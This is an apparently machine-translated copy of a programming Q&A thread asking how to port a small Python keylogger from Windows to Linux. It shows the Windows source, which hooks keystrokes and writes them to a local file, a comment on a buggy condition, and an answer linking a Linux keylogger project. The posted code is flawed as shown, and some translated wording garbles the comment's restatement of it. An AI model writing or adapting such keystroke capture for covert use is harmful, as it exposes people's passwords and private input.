2014-10-11 18 views
0

Python中有这个基本的keylogger代码可以在windows下运行。如何修改它以在Linux下运行?如何修改这个Python的键盘记录代码的Windows在Linux下使用?

import win32api 
import sys 
import pythoncom, pyHook 
buffer = '' 
def OnKeyboardEvent(event): 
    if event.Ascii == 5: 
     sys.exit() 
    if event.Ascii != 0 or 8: 
     f = open ('c:\\outputKeyLogger.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
     keylogs = keylogs + '\n' 
    f.write(keylogs) 
    f.close() 
    while True: 
     hm = pyHook.HookManager() 
     hm.KeyDown = OnKeyboardEvent 
     hm.HookKeyboard() 
     pythoncom.PumpMessages() 
+1

纠正我,如果我错了,但不将行,如果event.Ascii = 0或8的意思是“如果event.Ascii不等于0,或者如果8是真的“?所以如果event.Ascii不等于0,这个条件将总是返回True(因为8是True)。这可能不是你想要的,应该是,如果event.Ascii!= 0或event.Ascii!= 8或更简洁的前:if event.Ascii不在[0,8] – Totem 2015-01-13 07:18:03

+0

@Totem,是的,那通过了我。好的观察。改变它,但它仍然不能在linux下运行 – Vass 2015-01-13 13:35:58

回答

1

以下是通过amoffat在Github上的Linux的键盘记录器源代码的链接。它利用Python模块,一个用于Python的外部函数库,它提供了C兼容的数据类型并允许在DLL中调用函数。这似乎被用来访问linux上的X windows环境来捕获按下日志记录的按键。点击进入pykeylogger.py文件查看完整的源代码。希望这可以帮助。

https://github.com/amoffat/pykeylogger

信息上​​- !

https://docs.python.org/2/library/ctypes.html

相关问题